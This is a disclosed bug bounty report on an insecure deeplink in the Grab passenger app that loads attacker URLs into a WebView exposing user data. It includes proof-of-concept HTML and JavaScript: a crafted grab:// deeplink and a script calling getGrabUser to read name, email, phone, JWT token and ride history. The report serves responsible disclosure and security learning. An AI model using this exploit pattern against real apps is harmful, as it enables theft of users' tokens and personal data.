39 [Grab Android/iOS] Insecure deeplink leads to sensitive information disclosure

Share:

State	○ Resolved (Closed)
Disclosed	**March 15, 2019 8:58am +0530**
Reported To	Grabtaxi Holdings Pte Ltd
Asset	com.grabtaxi.passenger (Android: Play Store)
Weakness	Cross-site Scripting (XSS) - Generic
Bounty	$7,500
Severity	High (7.1)
Participants	
Visibility	Disclosed (Limited)

Collapse

SUMMARY BY GRABTAXI HOLDINGS PTE LTD

A deeplink feature was found missing validation that led to sensitive information disclosure. Once triggered, the deeplink would direct users to load any attacker-controlled URL within a webview. The impact was further escalated as the webview contain sensitive information. A temporary patch was distributed shortly after the submission was verified and a permanent patch was released and completely rolled out soon after.

Grab appreciate @bagipro's contribution to our bug bounty program, @bagipro displayed strong mobile offensive security skills and detailed report which allowed us to quickly reproduce and validate the submission. As a mobile-first company, mobile security is our utmost focus, Grab look forward to seeing more of his creative bug reports to our program.

SUMMARY BY BAGIPRO

I've found a set of possible deeplinks, one of them (`HELPCENTER`) could lead that an arbtrary URL was opened in a built-in browser in activity `com.grab.pax.support.ZendeskSupportActivity` using that code (should be used in an external browser/messenger)

```
<!DOCTYPE html>
<html>
<head><title>Zaheck page 1</title></head>
<body style="text-align: center;">
    <h1><a href="grab://open?screenType=HELPCENTER&amp;page=https://s3.amazonaws.com/edited/page2.html">Begin Zahec
</body>
</html>
```

But the WebView had an interesting setting

```
        mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "And
```

with method

```
        [@android](/android).webkit.JavascriptInterface
        public final java.lang.String getGrabUser() {
            //...
            return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser());
        }
```

I tested my code which forced Grab Passenger app to load `https://s3.amazonaws.com/edited/page2.html` page with HTML

```
<!DOCTYPE html>
<html>
<head><title>Zaheck page 2</title></head>
<body style="text-align: center;">
    <script type="text/javascript">
        var data;
        if(window.Android) { // Android
            data = window.Android.getGrabUser();
        }
        else if(window.grabUser) { // iOS
            data = JSON.stringify(window.grabUser);
        }

        if(data) {
            document.write("Stolen data: " + data);
        }
    </script>
</body>
</html>
```

and I've gotten a lot of severe user's data like full name, email, phone number, jwt token, ride history (including exact coordinates, driver's name and vehicle plate number).

I didn't reverse iOS app, but only opened https://help.grab.com/, grepped for `getGrabUser` and found

```
    public static initGrabUser() {
        if (Utils.Condition.isIOSApp()) {
            Stores.GrabUser.setGrabUser(window.grabUser);
        }

        if (Utils.Condition.isAndroidApp()) {
            Stores.GrabUser.setGrabUser(JSON.parse(Android.getGrabUser()));
        }
    }
```

It helped me to realize how to exploit iOS too :)

Tips: JS interfaces (on both platforms) have no any origin policies, so if you have ability to make an Open Redirect or XSS (i.e. run your own JS in the given WebView), it means you can access them!

Show more

TIMELINE

bagipro submitted a report to **Grabtaxi Holdings Pte Ltd**. Aug 29th (7 months ago)

zuentj changed the status to ○ **Needs more info**. Aug 29th (7 months ago)

bagipro changed the status to ○ **New**. Aug 29th (7 months ago)

zuentj posted a comment. Updated Mar 15th (3 hrs ago)

zuentj changed the status to ○ **Needs more info**. Aug 29th (7 months ago)

bagipro changed the status to ○ **New**. Aug 29th (7 months ago)

zuentj changed the status to ○ **Needs more info**. Sep 5th (6 months ago)

bagipro changed the status to ○ **New**. Sep 9th (6 months ago)

bagipro posted a comment.	Sep 10th (6 months ago)
zuentj changed the status to ○ **Needs more info**.	Sep 10th (6 months ago)
bagipro changed the status to ○ **New**.	Updated Mar 15th (3 hrs ago)
zuentj updated the severity.	Sep 26th (6 months ago)
zuentj changed the status to ○ **Triaged**.	Sep 26th (6 months ago)
bagipro posted a comment.	Sep 26th (6 months ago)
zuentj changed the report title.	Oct 2nd (5 months ago)
zuentj posted a comment.	Oct 2nd (5 months ago)
bagipro posted a comment.	Oct 2nd (5 months ago)
bagipro posted a comment.	Oct 3rd (5 months ago)
bagipro posted a comment.	Oct 4th (5 months ago)
zuentj changed the report title.	Oct 4th (5 months ago)
zuentj posted a comment.	Oct 4th (5 months ago)
bagipro posted a comment.	Oct 4th (5 months ago)
bagipro posted a comment.	Oct 5th (5 months ago)
zuentj posted a comment.	Oct 5th (5 months ago)
bagipro posted a comment.	Oct 5th (5 months ago)
Grabtaxi Holdings Pte Ltd rewarded bagipro with a **$7,000** bounty and a **$500** bonus.	Oct 8th (5 months ago)
zuentj posted a comment.	Oct 8th (5 months ago)
bagipro posted a comment.	Oct 14th (5 months ago)
bagipro posted a comment.	Oct 19th (5 months ago)
zuentj posted a comment.	Oct 19th (5 months ago)
bagipro posted a comment.	Updated Mar 15th (3 hrs ago)

bagipro posted a comment.	Updated Oct 19th (5 months ago)
bagipro posted a comment.	Oct 29th (5 months ago)
zuentj posted a comment.	Oct 31st (5 months ago)
bagipro posted a comment.	Nov 1st (4 months ago)
zuentj posted a comment.	Updated Mar 15th (3 hrs ago)
bagipro posted a comment.	Nov 14th (4 months ago)
bagipro posted a comment.	Dec 6th (3 months ago)
zuentj posted a comment.	Jan 3rd (2 months ago)
bagipro posted a comment.	Jan 26th (2 months ago)
grabsecurity closed the report and changed the status to ○ **Resolved**.	Feb 2nd (about 1 month ago)
bagipro requested to disclose this report.	Feb 2nd (about 1 month ago)
grabsecurity posted a comment.	Feb 13th (about 1 month ago)
bagipro posted a comment.	Feb 13th (30 days ago)
grabsecurity posted a comment.	Feb 13th (30 days ago)
bagipro posted a comment.	Feb 13th (30 days ago)
bagipro posted a comment.	Mar 14th (14 hrs ago)
zuentj agreed to disclose this report.	Mar 15th (4 hrs ago)
This report has been disclosed.	Mar 15th (4 hrs ago)
zuentj posted a comment.	Mar 15th (2 hrs ago)